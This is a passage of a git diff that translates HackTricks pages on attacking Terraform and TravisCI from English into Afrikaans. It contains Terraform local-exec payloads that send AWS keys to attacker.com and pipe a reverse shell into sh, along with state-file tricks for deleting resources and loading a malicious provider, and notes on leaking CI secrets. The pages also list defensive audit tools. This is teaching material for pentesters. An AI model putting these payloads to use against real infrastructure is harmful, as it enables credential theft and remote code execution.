- In die eksterne hulpbron, gebruik die **ref** kenmerk om die **terraform rev shell kode in 'n tak** binne die repo te verberg, iets soos: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
|
||||
### Terraform Apply
|
||||
|
||||
Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
You just need to make sure some payload like the following ones ends in the `main.tf` file:
|
||||
|
||||
Terraform apply sal uitgevoer word om al die veranderinge toe te pas, jy kan dit ook misbruik om RCE te verkry deur **'n kwaadwillige Terraform-lêer met** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Jy moet net seker maak dat 'n payload soos die volgende in die `main.tf` lêer eindig:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
}
|
||||
|
||||
// Payload 2 to get a rev shell
|
||||
resource "null_resource" "rev_shell" {
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
|
||||
Volg die **voorstelle van die vorige tegniek** om hierdie aanval op 'n **stealthier manier met eksterne verwysings** uit te voer.
|
||||
|
||||
## Secrets Dumps
|
||||
|
||||
You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
|
||||
|
||||
Jy kan **geheime waardes wat deur terraform gebruik word, laat dump** deur `terraform apply` te loop deur iets soos die volgende aan die terraform-lêer toe te voeg:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
## Misbruik van Terraform Toestand Lêers
|
||||
|
||||
## Abusing Terraform State Files
|
||||
In die geval dat jy skryfreëls oor terraform toestand lêers het, maar nie die terraform kode kan verander nie, [**hierdie navorsing**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) bied 'n paar interessante opsies om voordeel te trek uit die lêer:
|
||||
|
||||
In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file:
|
||||
### Verwydering van hulpbronne <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
|
||||
### Deleting resources <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
Daar is 2 maniere om hulpbronne te vernietig:
|
||||
|
||||
There are 2 ways to destroy resources:
|
||||
|
||||
1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**
|
||||
|
||||
Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:
|
||||
1. **Voeg 'n hulpbron met 'n ewekansige naam by die toestand lêer wat na die werklike hulpbron verwys om te vernietig**
|
||||
|
||||
Omdat terraform sal sien dat die hulpbron nie behoort te bestaan nie, sal dit dit vernietig (volgens die werklike hulpbron ID wat aangedui word). Voorbeeld van die vorige bladsy:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "aws_instance",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
|
||||
"instances": [
|
||||
{
|
||||
"attributes": {
|
||||
"id": "i-1234567890abcdefg"
|
||||
}
|
||||
}
|
||||
]
|
||||
"mode": "managed",
|
||||
"type": "aws_instance",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
|
||||
"instances": [
|
||||
{
|
||||
"attributes": {
|
||||
"id": "i-1234567890abcdefg"
|
||||
}
|
||||
}
|
||||
]
|
||||
},
|
||||
```
|
||||
2. **Wysig die hulpbron om te verwyder op 'n manier dat dit nie moontlik is om op te dateer nie (sodat dit verwyder en weer geskep sal word)**
|
||||
|
||||
2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**
|
||||
|
||||
For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
|
||||
Vir 'n EC2-instantie is dit genoeg om die tipe van die instantie te wysig sodat terraform dit verwyder en weer skep.
|
||||
|
||||
### RCE
|
||||
|
||||
It's also possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add an empty resource with the malicious provider. Example from the original research:
|
||||
|
||||
Dit is ook moontlik om [n pasgemaakte verskaffer te skep](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) en net een van die verskaffers in die terraform toestandlêer te vervang met die kwaadwillige een of 'n leë hulpbron met die kwaadwillige verskaffer by te voeg. Voorbeeld uit die oorspronklike navorsing:
|
||||
```json
|
||||
"resources": [
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "scaffolding_example",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
|
||||
"instances": [
|
||||
"mode": "managed",
|
||||
"type": "scaffolding_example",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
|
||||
"instances": [
|
||||
|
||||
]
|
||||
]
|
||||
},
|
||||
```
|
||||
### Vervang geblacklisted verskaffer
|
||||
|
||||
### Replace blacklisted provider
|
||||
|
||||
In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.
|
||||
|
||||
In die geval dat jy 'n situasie teëkom waar `hashicorp/external` geblacklisted was, kan jy die `external` verskaffer herimplementer deur die volgende te doen. Let wel: Ons gebruik 'n fork van die eksterne verskaffer gepubliseer deur https://registry.terraform.io/providers/nazarewk/external/latest. Jy kan jou eie fork of herimplementering ook publiseer.
|
||||
```terraform
|
||||
terraform {
|
||||
required_providers {
|
||||
external = {
|
||||
source = "nazarewk/external"
|
||||
version = "3.0.0"
|
||||
}
|
||||
}
|
||||
required_providers {
|
||||
external = {
|
||||
source = "nazarewk/external"
|
||||
version = "3.0.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Then you can use `external` as per normal.
|
||||
|
||||
Dan kan jy `external` soos normaal gebruik.
|
||||
```terraform
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "whoami"]
|
||||
program = ["sh", "-c", "whoami"]
|
||||
}
|
||||
```
|
||||
## Outomatiese Oudit Gereedskap
|
||||
|
||||
## Automatic Audit Tools
|
||||
### [**Snyk Infrastruktur as Kode (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats.
|
||||
|
||||
- **Features:**
|
||||
- Real-time scanning for security vulnerabilities and compliance issues.
|
||||
- Integration with version control systems (GitHub, GitLab, Bitbucket).
|
||||
- Automated fix pull requests.
|
||||
- Detailed remediation advice.
|
||||
- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
|
||||
Snyk bied 'n omvattende Infrastruktur as Kode (IaC) skandeeroplossing wat kwesbaarhede en verkeerde konfigurasies in Terraform, CloudFormation, Kubernetes, en ander IaC formate opspoor.
|
||||
|
||||
- **Kenmerke:**
|
||||
- Regs-tijd skandering vir sekuriteitskwesbaarhede en nakomingskwessies.
|
||||
- Integrasie met weergawebeheer stelsels (GitHub, GitLab, Bitbucket).
|
||||
- Outomatiese regstelling trek versoeke.
|
||||
- Gedetailleerde hersteladvies.
|
||||
- **Teken In:** Skep 'n rekening op [Snyk](https://snyk.io/).
|
||||
```bash
|
||||
brew tap snyk/tap
|
||||
brew install snyk
|
||||
snyk auth
|
||||
snyk iac test /path/to/terraform/code
|
||||
```
|
||||
|
||||
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
|
||||
|
||||
**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.
|
||||
**Checkov** is 'n statiese kode analise hulpmiddel vir infrastruktuur as kode (IaC) en ook 'n sagteware samestelling analise (SCA) hulpmiddel vir beelde en oopbron pakkette.
|
||||
|
||||
It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning.
|
||||
|
||||
It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).
|
||||
Dit skandeer wolk infrastruktuur wat voorsien is met behulp van [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), of [OpenTofu](https://opentofu.org/) en detecteer sekuriteits- en nakomingsmisconfigurasies met behulp van graf-gebaseerde skandering.
|
||||
|
||||
Dit voer [Sagteware Samestelling Analise (SCA) skandering](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) uit wat 'n skandering van oopbron pakkette en beelde vir Algemene Kw vulnerabilities en Blootstellings (CVEs) is.
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
```
|
||||
|
||||
### [terraform-compliance](https://github.com/terraform-compliance/cli)
|
||||
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is 'n liggewig, sekuriteit en nakoming gefokusde toetsraamwerk teenoor terraform om negatiewe toetsing vermoë vir jou infrastruktuur-as-kode moontlik te maak.
|
||||
|
||||
- **compliance:** Ensure the implemented code is following security standards, your own custom standards
|
||||
- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
|
||||
- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-deploy:** it validates your code before it is deployed
|
||||
- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
|
||||
- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.
|
||||
- **compliance:** Verseker dat die geïmplementeerde kode sekuriteitsstandaarde en jou eie pasgemaakte standaarde volg
|
||||
- **behaviour driven development:** Ons het BDD vir byna alles, hoekom nie vir IaC nie?
|
||||
- **portable:** installeer dit net vanaf `pip` of hardloop dit via `docker`. Sien [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-deploy:** dit valideer jou kode voordat dit ontplooi word
|
||||
- **easy to integrate:** dit kan in jou pyplyn (of in git hooks) hardloop om te verseker dat alle ontplooiings gevalideer word.
|
||||
- **segregation of duty:** jy kan jou toetse in 'n ander repository hou waar 'n aparte span verantwoordelik is.
|
||||
|
||||
> [!NOTE]
|
||||
> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.
|
||||
|
||||
> Ongelukkig, as die kode sommige verskaffers gebruik waartoe jy nie toegang het nie, sal jy nie in staat wees om die `terraform plan` uit te voer en hierdie hulpmiddel te gebruik nie.
|
||||
```bash
|
||||
pip install terraform-compliance
|
||||
terraform plan -out=plan.out
|
||||
terraform-compliance -f /path/to/folder
|
||||
```
|
||||
|
||||
### [tfsec](https://github.com/aquasecurity/tfsec)
|
||||
|
||||
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
|
||||
|
||||
- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
|
||||
- ⛔ Hundreds of built-in rules
|
||||
- 🪆 Scans modules (local and remote)
|
||||
- ➕ Evaluates HCL expressions as well as literal values
|
||||
- ↪️ Evaluates Terraform functions e.g. `concat()`
|
||||
- 🔗 Evaluates relationships between Terraform resources
|
||||
- 🧰 Compatible with the Terraform CDK
|
||||
- 🙅 Applies (and embellishes) user-defined Rego policies
|
||||
- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
|
||||
- 🛠️ Configurable (via CLI flags and/or config file)
|
||||
- ⚡ Very fast, capable of quickly scanning huge repositories
|
||||
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec gebruik statiese analise van jou terraform kode om potensiële miskonfigurasies op te spoor.
|
||||
|
||||
- ☁️ Kontroleer vir miskonfigurasies oor alle groot (en sommige klein) wolkverskaffers
|
||||
- ⛔ Honderde ingeboude reëls
|
||||
- 🪆 Skandeer modules (plaaslik en afstand)
|
||||
- ➕ Evalueer HCL-uitdrukkings sowel as letterlike waardes
|
||||
- ↪️ Evalueer Terraform funksies bv. `concat()`
|
||||
- 🔗 Evalueer verhoudings tussen Terraform hulpbronne
|
||||
- 🧰 Kompatibel met die Terraform CDK
|
||||
- 🙅 Pas (en versier) gebruiker-gedefinieerde Rego-beleide toe
|
||||
- 📃 Ondersteun verskeie uitvoerformate: pragtig (verstek), JSON, SARIF, CSV, CheckStyle, JUnit, teks, Gif.
|
||||
- 🛠️ Konfigureerbaar (via CLI-vlaggies en/of konfigurasie lêer)
|
||||
- ⚡ Baie vinnig, in staat om vinnig enorme repositories te skandeer
|
||||
```bash
|
||||
brew install tfsec
|
||||
tfsec /path/to/folder
|
||||
```
|
||||
|
||||
### [KICKS](https://github.com/Checkmarx/kics)
|
||||
|
||||
Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx.
|
||||
|
||||
**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project.
|
||||
Vind sekuriteitskwesbaarhede, nakomingskwessies en infrastruktuur miskonfigurasies vroeg in die ontwikkelingsiklus van jou infrastruktuur-as-kode met **KICS** deur Checkmarx.
|
||||
|
||||
**KICS** staan vir **K**eeping **I**nfrastructure as **C**ode **S**ecure, dit is oopbron en is 'n moet-hê vir enige wolk-natiewe projek.
|
||||
```bash
|
||||
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
```
|
||||
|
||||
### [Terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
|
||||
|
||||
- Seamlessly scan infrastructure as code for misconfigurations.
|
||||
- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
|
||||
- Detect security vulnerabilities and compliance violations.
|
||||
- Mitigate risks before provisioning cloud native infrastructure.
|
||||
- Offers flexibility to run locally or integrate with your CI\CD.
|
||||
Van die [**docs**](https://github.com/tenable/terrascan): Terrascan is 'n statiese kode-analiseerder vir Infrastruktur as Kode. Terrascan stel jou in staat om:
|
||||
|
||||
- Naadloos infrastruktuur as kode te skandeer vir verkeerde konfigurasies.
|
||||
- Geprovisioneerde wolkinfrastruktuur te monitor vir konfigurasiewijzigings wat posisie-afwykings inbring, en stel jou in staat om na 'n veilige posisie terug te keer.
|
||||
- Sekuriteitskwesbaarhede en nakomingsoortredings te ontdek.
|
||||
- Risiko's te verminder voordat wolk-natiewe infrastruktuur geprovisioneer word.
|
||||
- Bied buigsaamheid om plaaslik te loop of te integreer met jou CI\CD.
|
||||
```bash
|
||||
brew install terrascan
|
||||
```
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [Atlantis Security](atlantis-security.md)
|
||||
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
|
||||
@@ -310,7 +280,3 @@ brew install terrascan
|
||||
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
|
||||
Github PRs is welkom wat verduidelik hoe om (mis)bruik te maak van daardie platforms vanuit 'n aanvaller se perspektief
|
||||
|
||||
- Drone
|
||||
- TeamCity
|
||||
@@ -11,10 +11,6 @@ Github PRs are welcome explaining how to (ab)use those platforms from an attacke
|
||||
- Rancher
|
||||
- Mesosphere
|
||||
- Radicle
|
||||
- Any other CI/CD platform...
|
||||
- Enige ander CI/CD platform...
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,69 +1,65 @@
|
||||
# TravisCI Security
|
||||
# TravisCI Veiligheid
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is TravisCI
|
||||
## Wat is TravisCI
|
||||
|
||||
**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
|
||||
**Travis CI** is 'n **gehoste** of op **plek** **deurlopende integrasie** diens wat gebruik word om sagteware projekte te bou en te toets wat op verskeie **verskillende git platforms** gehost word.
|
||||
|
||||
{{#ref}}
|
||||
basic-travisci-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Attacks
|
||||
## Aanvalle
|
||||
|
||||
### Triggers
|
||||
|
||||
To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
|
||||
Om 'n aanval te begin, moet jy eers weet hoe om 'n bou te aktiveer. Standaard sal TravisCI **'n bou aktiveer op stoot en trek versoeke**:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Cron Jobs
|
||||
|
||||
If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
|
||||
As jy toegang het tot die webtoepassing, kan jy **crons stel om die bou te laat loop**, dit kan nuttig wees vir volharding of om 'n bou te aktiveer:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
|
||||
> Dit lyk of dit nie moontlik is om crons binne die `.travis.yml` in te stel nie volgens [dit](https://github.com/travis-ci/travis-ci/issues/9162).
|
||||
|
||||
### Third Party PR
|
||||
### Derdeparty PR
|
||||
|
||||
TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
|
||||
TravisCI deaktiveer standaard die deel van omgewing veranderlikes met PR's wat van derde partye kom, maar iemand mag dit aktiveer en dan kan jy PR's na die repo skep en die geheime uitbring:
|
||||
|
||||
.png>)
|
||||
|
||||
### Dumping Secrets
|
||||
|
||||
As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
|
||||
Soos verduidelik in die [**basiese inligting**](basic-travisci-information.md) bladsy, is daar 2 tipes geheime. **Omgewing Veranderlikes geheime** (wat op die webblad gelys is) en **aangepaste versleutelde geheime**, wat binne die `.travis.yml` lêer as base64 gestoor word (let daarop dat albei as versleuteld gestoor sal eindig as omgewing veranderlikes in die finale masjiene).
|
||||
|
||||
- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
|
||||
- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
|
||||
- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
|
||||
- Om **geheime** wat as **Omgewing Veranderlikes** geconfigureer is te **nommer**, gaan na die **instellings** van die **projek** en kyk na die lys. Let egter daarop dat al die projek omgewing veranderlikes wat hier gestel is, sal verskyn wanneer 'n bou geaktiveer word.
|
||||
- Om die **aangepaste versleutelde geheime** te nommer, is die beste wat jy kan doen om die **`.travis.yml` lêer** te **kontroleer**.
|
||||
- Om **versleutelde lêers** te nommer, kan jy kyk vir **`.enc` lêers** in die repo, vir lyne soortgelyk aan `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in die konfigurasielêer, of vir **versleutelde iv en sleutels** in die **Omgewing Veranderlikes** soos:
|
||||
|
||||
.png>)
|
||||
|
||||
### TODO:
|
||||
|
||||
- Example build with reverse shell running on Windows/Mac/Linux
|
||||
- Example build leaking the env base64 encoded in the logs
|
||||
- Voorbeeld bou met omgekeerde skulp wat op Windows/Mac/Linux loop
|
||||
- Voorbeeld bou wat die omgewing base64 geënkodeer in die logs lek
|
||||
|
||||
### TravisCI Enterprise
|
||||
|
||||
If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
|
||||
As 'n aanvaller in 'n omgewing eindig wat **TravisCI enterprise** gebruik (meer inligting oor wat dit is in die [**basiese inligting**](basic-travisci-information.md#travisci-enterprise)), sal hy in staat wees om **bou te aktiveer in die Werker.** Dit beteken dat 'n aanvaller in staat sal wees om lateraal na daardie bediener te beweeg waarvandaan hy in staat sal wees om:
|
||||
|
||||
- escape to the host?
|
||||
- compromise kubernetes?
|
||||
- compromise other machines running in the same network?
|
||||
- compromise new cloud credentials?
|
||||
- na die gasheer te ontsnap?
|
||||
- kubernetes te kompromitteer?
|
||||
- ander masjiene wat in dieselfde netwerk loop te kompromitteer?
|
||||
- nuwe wolk geloofsbriewe te kompromitteer?
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
|
||||
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,47 +2,44 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Access
|
||||
## Toegang
|
||||
|
||||
TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI.
|
||||
TravisCI integreer direk met verskillende git platforms soos Github, Bitbucket, Assembla, en Gitlab. Dit sal die gebruiker vra om TravisCI toestemming te gee om toegang te verkry tot die repos wat hy wil integreer met TravisCI.
|
||||
|
||||
For example, in Github it will ask for the following permissions:
|
||||
Byvoorbeeld, in Github sal dit vir die volgende toestemmings vra:
|
||||
|
||||
- `user:email` (read-only)
|
||||
- `read:org` (read-only)
|
||||
- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations.
|
||||
- `user:email` (slegs lees)
|
||||
- `read:org` (slegs lees)
|
||||
- `repo`: Gee lees- en skryftoegang tot kode, verbintenisstatusse, samewerkers, en ontplooiingstatusse vir openbare en private repositories en organisasies.
|
||||
|
||||
## Encrypted Secrets
|
||||
## Geënkripteerde Geheime
|
||||
|
||||
### Environment Variables
|
||||
### Omgewing Veranderlikes
|
||||
|
||||
In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build.
|
||||
In TravisCI, soos in ander CI platforms, is dit moontlik om **geheime op repo vlak te stoor** wat geënkripteer gestoor sal word en **ontsleutel en in die omgewing veranderlike** van die masjien wat die bou uitvoer, gepush sal word.
|
||||
|
||||
.png>)
|
||||
|
||||
It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will).
|
||||
Dit is moontlik om die **takke aan te dui waartoe die geheime beskikbaar gaan wees** (standaard is dit alles) en ook of TravisCI **sy waarde moet wegsteek** as dit **in die logs** verskyn (standaard sal dit).
|
||||
|
||||
### Custom Encrypted Secrets
|
||||
### Pasgemaakte Geënkripteerde Geheime
|
||||
|
||||
For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repository’s **public key available** to those who have **access** to the repository.
|
||||
|
||||
You can access the public key of one repo with:
|
||||
Vir **elke repo** genereer TravisCI 'n **RSA sleutelpaar**, **hou** die **privaat** een, en maak die repository se **publieke sleutel beskikbaar** vir diegene wat **toegang** tot die repository het.
|
||||
|
||||
Jy kan die publieke sleutel van een repo met toegang:
|
||||
```
|
||||
travis pubkey -r <owner>/<repo_name>
|
||||
travis pubkey -r carlospolop/t-ci-test
|
||||
```
|
||||
|
||||
Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**.
|
||||
Dan kan jy hierdie opstelling gebruik om **geheime te enkripteer en dit by jou `.travis.yaml` te voeg**. Die geheime sal **ontsleuteld word wanneer die bou gedoen word** en toeganklik wees in die **omgewing veranderlikes**.
|
||||
|
||||
.png>)
|
||||
|
||||
Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings.
|
||||
Let daarop dat die geheime wat op hierdie manier geënkripteer is, nie in die omgewing veranderlikes van die instellings gelys sal word nie.
|
||||
|
||||
### Custom Encrypted Files
|
||||
|
||||
Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**:
|
||||
### Pasgemaakte Geënkripteerde Lêers
|
||||
|
||||
Op dieselfde manier as voorheen, laat TravisCI ook toe om **lêers te enkripteer en dit tydens die bou te ontsleutel**:
|
||||
```
|
||||
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
|
||||
|
||||
@@ -52,7 +49,7 @@ storing secure env variables for decryption
|
||||
|
||||
Please add the following to your build script (before_install stage in your .travis.yml, for instance):
|
||||
|
||||
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
|
||||
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
|
||||
|
||||
Pro Tip: You can add it automatically by running with --add.
|
||||
|
||||
@@ -60,37 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository.
|
||||
Make sure not to add super_secret.txt to the git repository.
|
||||
Commit all changes to your .travis.yml.
|
||||
```
|
||||
|
||||
Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
|
||||
|
||||
.png>)
|
||||
|
||||
## TravisCI Enterprise
